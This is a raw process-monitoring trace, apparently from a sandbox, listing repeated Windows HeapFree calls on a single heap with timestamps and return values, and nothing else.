	[0048.948] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.948] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.948] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.948] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.948] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.948] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4452cd0 | out: hHeap=0x650000) returned 1
	[0048.950] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.952] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.954] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.955] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.957] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.959] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.961] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0048.963] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0049.151] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0049.153] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0049.155] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0049.156] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0049.158] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0049.160] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0049.160] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0049.160] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43e2cb0 | out: hHeap=0x650000) returned 1
	[0049.163] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0049.165] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0049.165] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0049.279] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0049.281] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0049.283] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0049.283] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0049.284] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0049.284] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0049.284] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0049.289] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0049.289] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0049.300] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.301] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.301] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.301] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0049.303] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0049.305] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.305] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0049.553] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.822] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.826] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.826] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0049.831] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.837] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0049.838] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0049.839] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0049.840] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.844] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.844] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4332c90 | out: hHeap=0x650000) returned 1
	[0049.845] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0049.845] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0049.845] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.964] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.975] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0049.978] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.979] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.979] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.979] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.979] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.980] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.980] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.980] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.981] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.981] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.981] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.982] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.982] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.982] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.983] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.983] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.984] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.984] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.984] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.985] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.985] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.985] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.985] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.986] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.986] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.986] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.990] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.990] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.991] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.991] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.992] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.992] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.992] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.992] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.992] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.992] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.993] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.993] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.993] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.994] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.994] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.994] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.994] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.995] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.995] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0049.995] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0049.999] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0050.006] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0050.010] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0050.012] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.013] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.013] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0050.013] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0050.016] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42e2c68 | out: hHeap=0x650000) returned 1
	[0051.392] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0051.392] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0051.393] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0051.394] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0051.778] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4312c80 | out: hHeap=0x650000) returned 1
	[0051.778] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0051.779] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0051.779] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42d2c60 | out: hHeap=0x650000) returned 1
	[0051.841] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42d2c60 | out: hHeap=0x650000) returned 1
	[0051.842] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0051.842] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42d2c60 | out: hHeap=0x650000) returned 1
	[0051.849] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0051.857] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0051.857] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0051.876] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0051.895] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0051.895] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0051.900] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0051.901] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0051.902] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0051.902] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0051.902] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x42d2c60 | out: hHeap=0x650000) returned 1
	[0052.504] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.504] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0052.736] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0052.736] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0052.738] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0052.738] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0052.745] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0052.745] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0052.751] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0052.751] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43a3cb0 | out: hHeap=0x650000) returned 1
	[0052.751] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4322c88 | out: hHeap=0x650000) returned 1
	[0052.752] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.752] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0052.752] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.753] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0052.753] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0052.753] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0052.754] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0052.756] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0052.756] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0052.757] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.758] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.760] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0052.761] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0052.761] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4382cb0 | out: hHeap=0x650000) returned 1
	[0052.762] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.763] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0052.764] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.764] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0052.765] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0052.766] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0052.768] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0052.769] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4372ca8 | out: hHeap=0x650000) returned 1
	[0052.769] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0052.769] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0052.771] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0052.771] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0052.773] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0052.774] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0052.774] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0053.675] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0053.676] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.677] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.677] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.677] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.677] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.678] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.678] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.678] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.679] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.679] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.679] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.679] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.680] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.680] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.680] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.680] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.681] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.681] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.681] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.681] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.682] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.682] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.683] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.683] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.683] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.684] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.684] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.684] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.684] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.685] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.685] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.685] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.686] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.686] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.686] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.686] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.687] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.687] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.687] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.687] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.688] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.688] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0053.688] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.688] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.689] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.689] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.689] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0053.689] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x4362ca0 | out: hHeap=0x650000) returned 1
	[0053.689] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
	[0053.690] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43b4cc0 | out: hHeap=0x650000) returned 1
	[0053.693] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x43c4cc8 | out: hHeap=0x650000) returned 1
